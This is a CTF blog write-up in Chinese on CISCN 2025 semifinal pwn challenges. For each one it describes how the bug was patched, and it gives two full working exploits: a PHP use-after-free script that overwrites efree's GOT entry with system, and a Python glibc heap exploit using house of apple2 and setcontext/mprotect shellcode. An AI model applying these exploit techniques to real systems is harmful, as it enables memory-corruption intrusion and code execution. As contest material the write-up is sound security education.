ciscn-2025-半决赛

ciscn-2025-半决赛

InkeyP Lv2

CISCN 2025 半决赛 PWN AWDP

php-master

fix

导入docker,找到php.ini

image-20250317175335852

很明显是个php-pwn,找到这个vuln.so find / -name "vuln.so"

这是一个很简单的UAF,选择将image-20250317175525895

*((_BYTE *)mp + 12) == 1 patch为 *((_BYTE *)mp + 12) == 2

让他free不了

break(赛后)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
function str2Hex($str)
{
$hex = "";
for ($i = strlen($str) - 1; $i >= 0; $i--) $hex .= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}

function int2Str($i, $x = 8)
{
$re = "";
for ($j = 0; $j < $x; $j++) {
$re .= pack('C', $i & 0xff);
$i >>= 8;
}
return $re;
}
function hex64(int $value): string
{
static $hex64_table = [
0 => "0",
1 => "1",
2 => "2",
3 => "3",
4 => "4",
5 => "5",
6 => "6",
7 => "7",
8 => "8",
9 => "9",
10 => "a",
11 => "b",
12 => "c",
13 => "d",
14 => "e",
15 => "f"
];
$result = "";
for ($i = 0; $i < 16; $i++) {
$remainder = $value % 0x10;
$value = (int)($value / 0x10);
$result = $hex64_table[$remainder] . $result;
}
return "0x" . $result;
}
function leakaddr($buffer)
{
global $libc, $mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.28.so/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20210902\/vuln.so/';
// echo $buffer.'<br>';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

$libc = "";
$mbase = "";

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
// echo $buffer;
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
echo hex64($libc_base) . '\n';
echo hex64($mod_base) . '\n';

$efree_addr = $mod_base + 0x4060;

construct(10);
allocate(0, 0x90);
clear();
overwrite(0, int2Str($efree_addr));
construct(8);
allocate(0, 0x90);
allocate(1, 0x90);
overwrite(0, "/readflag > /var/www/html/flag.txt");
overwrite(1, int2Str($libc_base + 0x44af0));
clear();

UAF任意地址分配,改efree got表为system

Prompt

fix

一个简单的protobuf,堆溢出

推销一下protobuf自动提取

https://bbs.kanxue.com/thread-285969.htm

image-20250317175749372

没有对size做检查,就memcpy,将memcpy长度patch为0x20即可

break

1
2
3
4
5
6
7
8
9
10
syntax = "proto3";

package HeapPayload;

message HeapPayload {
int32 option = 1;
int32 chunk_sizes = 2;
int32 heap_chunks_id = 3;
bytes heap_content = 4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#!/usr/bin/env python3
from pwncli import *
import ctf_pb2

context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
addr = '10.10.1.108 21784'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process('./pwn')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')


input_after_this = b'Your prompt >>'


def add(size, content):
proto = ctf_pb2.HeapPayload()
proto.option = 1
proto.chunk_sizes = size
proto.heap_chunks_id = 0
proto.heap_content = content
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)


def dele(idx):
proto = ctf_pb2.HeapPayload()
proto.option = 2
proto.chunk_sizes = 0
proto.heap_chunks_id = idx
proto.heap_content = b'inkey'
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)


def edit(idx, data, len1=0):
proto = ctf_pb2.HeapPayload()
proto.option = 3
proto.chunk_sizes = 0x400
proto.heap_chunks_id = idx
proto.heap_content = data
d = proto.SerializeToString()
if len1 == 0:
sa(input_after_this, p32(len(d)))
s(d)
else:
sa(input_after_this, p32(len1))
s(d.ljust(len1, b'\x00'))


def show(idx):
proto = ctf_pb2.HeapPayload()
proto.option = 4
proto.chunk_sizes = 0
proto.heap_chunks_id = idx
proto.heap_content = b'inkey'
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)


def exit_():
proto = ctf_pb2.HeapPayload()
proto.option = 5
proto.chunk_sizes = 0
proto.heap_chunks_id = 0
proto.heap_content = b'1'
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)


cmd = '''
brva 0x186F
brva 0x19E7
brva 0x1B62
brva 0x1C3F

# brva 0x1D68
# b _IO_wfile_underflow
# b __libio_codecvt_in
b setcontext
set $heap = $rebase(0x5060)
dir /mnt/f/Documents/CTF/glibc/glibc-2.39

c
'''

add(0x10, b'1111')
add(0x138, b'2222')
add(0x138, b'3333')
dele(2)
edit(1, b'a' * 0x140)
show(1)
ru(b'a' * 0x140)
heap_base = (u64_ex(r(5)) << 12) - 0x7000
log_heap_base_addr(heap_base)

add(0x138, b'b') # 2
add(0x258, b'b')
add(0x458, b'b')
add(0x458, b'b')
add(0x258, b'b')
dele(5)
edit(6, b'a' * 0x330)
show(6)
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x203D30
set_current_libc_base_and_log(libc_base)

add(0x258, b'b')
add(0x258, b'b') # 7
add(0x258, b'b') # 8

dele(5)
dele(8)
edit(7, b'b' * 0x240 + p64(libc.sym.mprotect) * 4 + p64(protect_ptr(heap_base + 0x5770, libc.sym._IO_list_all - 0x0)))

CG.set_find_area(False, True)
rbx = CG.pop_rbx_ret()
mov_rdx_rbx = libc_base + 0xB0133 #: mov rdx, rbx; pop rbx; pop r12; pop rbp; ret;

payload0 = flat([rbx, 7, mov_rdx_rbx, 0, 0, 0, libc.sym.mprotect, heap_base + 0x58A8]) + ShellcodeMall.amd64.cat_flag

fake_IO_FILE = heap_base + 0x5770
payload1 = flat(
{
0x0: u64_ex(" sh"),
0x28: libc.sym.setcontext, # function
0x68: heap_base,
0x70: 0x10000,
0x88: heap_base,
0xA0: fake_IO_FILE + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xA8: libc_base + 0x4D68C,
0xD0: fake_IO_FILE + 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc.sym._IO_wfile_jumps, # vtable _IO_wfile_jumps-0x48
0xE0: heap_base + 0x1000,
0xF8: payload0,
},
filler=b'\x00',
)

add(0x258, payload1)

revio = b'\x00' * 0xE0 + flat(
{
0x0: 0xFBAD2087,
8: p64(libc_base + 0x204643) * 7,
64: libc_base + 0x204644,
112: 1,
120: -1,
136: libc_base + 0x205710,
144: -1,
160: libc_base + 0x2037E0,
192: p32_ex(-1) + p32(0),
216: libc.sym._IO_file_jumps,
},
filler=b'\x00',
)

add(0x258, p64(fake_IO_FILE) * 4 + revio)
launch_gdb(cmd)
exit_()

ia()

打的是house of apple2,rip控制为setcontext,然后mprotect,orw

typo

fix

snprintf 的参数顺序错了

image-20250317180347961

应为snprintf(s, maxlen, format);,题目将maxlen放在后面,因此我们输入的是format,存在格串和堆溢出

将参数位置调整回来即可

post_quantum

fix

好长的题目,不读不读(

sub_1B90()中两个free全nop掉就过了,不懂原理(((🫠

附一张排名

image-20250317180632006

  • 标题: ciscn-2025-半决赛
  • 作者: InkeyP
  • 创建于 : 2025-03-17 17:46:34
  • 更新于 : 2025-03-17 18:17:34
  • 链接: https://blog.inkey.top/202503/17/ciscn-2025-半决赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论